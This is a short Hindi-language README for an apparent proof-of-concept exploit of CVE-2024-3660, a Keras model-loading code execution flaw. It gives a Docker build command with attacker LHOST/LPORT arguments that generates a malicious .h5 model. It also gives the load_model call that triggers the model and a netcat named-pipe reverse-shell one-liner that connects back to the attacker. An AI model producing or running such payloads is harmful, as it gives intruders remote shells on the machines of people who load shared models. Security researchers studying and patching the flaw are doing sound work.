
CVE-2024-3660 के लिए एक PoC। Keras में मनमाना कोड निष्पादन।
CVE-2024-3660 TensorFlow के Keras फ्रेमवर्क में एक मनमाना कोड निष्पादन भेद्यता है जो संस्करण < 2.13 को प्रभावित करती है।
यह एक हमलावर को मॉडल के अंदर Python कोड एम्बेड करने की अनुमति देता है (जैसे, Lambda परत के माध्यम से) जो मॉडल लोड होने पर स्वचालित रूप से निष्पादित होता है।
जब किसी कमजोर वातावरण में एक दुर्भावनापूर्ण .h5 मॉडल फ़ाइल लोड की जाती है, तो लोडिंग प्रक्रिया के समान अनुमतियों के साथ मनमाना कमांड निष्पादित होते हैं।
tf.keras.models.load_model("CVE20243660.h5", compile=False)
या पुराने TensorFlow संस्करणों में जहां safe_mode डिफ़ॉल्ट रूप से सक्षम नहीं है।
यह PoC एक दुर्भावनापूर्ण hack.h5 मॉडल उत्पन्न करने के लिए Docker-आधारित बिल्ड का उपयोग करता है जिसमें एक रिवर्स शेल पेलोड होता है।
जब मॉडल किसी कमजोर TensorFlow संस्करण में लोड किया जाता है, तो यह हमलावर की मशीन पर वापस जुड़ जाता है।
docker buildx build \
--platform linux/amd64 \
--build-arg LHOST=<YOUR-IP> \
--build-arg LPORT=<YOUR-PORT> \
-t tfimg . && \
container_id=$(docker create tfimg) && \
docker cp $container_id:/CVE20243660/CVE20243660.h5 ./CVE20243660.h5 && \
docker rm $container_id
import tensorflow as tf
model = tf.keras.models.load_model("CVE20243660.h5", compile=False)
nc का उपयोग करता है:rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc LHOST LPORT >/tmp/f